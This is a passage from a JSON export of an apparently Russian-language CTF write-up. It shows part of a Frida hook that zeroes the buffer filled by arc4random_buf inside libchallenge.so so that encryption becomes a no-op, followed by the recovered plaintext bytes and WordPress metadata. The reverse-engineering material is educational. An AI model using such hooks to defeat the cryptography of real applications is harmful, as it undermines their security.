 onEnter: function (args) { \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0    this.buf = args[0]; \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0    let bt = DebugSymbol.fromAddress(Thread.backtrace(this.context, Backtracer.ACCURATE)[0]); \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0    if (bt.moduleName.indexOf(\u00ablibchallenge.so\u00bb) !== -1) { \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0    console.log(\u00abarc4random_buf \u00ab + args[0] + \u00ab \u00ab + args[1] + \u00ab \u00ab + bt) \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0    } \u00a0\u00a0\u00a0\u00a0    }, \u00a0\u00a0\u00a0\u00a0    onLeave: function (ret) { \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0    let bt = DebugSymbol.fromAddress(Thread.backtrace(this.context, Backtracer.ACCURATE)[0]); \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0  if (bt.moduleName.indexOf(\u00ablibchallenge.so\u00bb) !== -1) { \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0    this.buf.writeU32(0); \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0    } \u00a0\u00a0\u00a0\u00a0    }     });  }  <\/code><\/pre>\n<p>\u0422\u0430\u043a \u043a\u0430\u043a \u043a\u043b\u044e\u0447 \u043d\u0443\u043b\u0435\u0432\u043e\u0439, \u0448\u0438\u0444\u0440\u043e\u0442\u0435\u043a\u0441\u0442 \u0442\u0435\u043f\u0435\u0440\u044c \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u0435\u0442 \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c \u0442\u0435\u043a\u0441\u0442\u043e\u043c \u0438 \u0447\u0438\u0442\u0430\u0442\u044c \u0435\u0433\u043e \u043d\u0430\u043c\u043d\u043e\u0433\u043e \u043f\u0440\u0438\u044f\u0442\u043d\u0435\u0435:<\/p>\n<p><code>b'TRYHRDER\\n\\x00\\xa1\\x00\\x00\\x00\\x00\\x000\\x00\\x08\\x008\\x00\\x18\\x00P\\x00\\x05\\x00U\\x00\\x06\\x00[\\x00\\x05\\x00<\/code><\/p>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-403974","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/403974","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=403974"}],"version-history":[{"count":0,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/403974\/revisions"}],"wp:attachment":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=403974"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=403974"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=403974"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}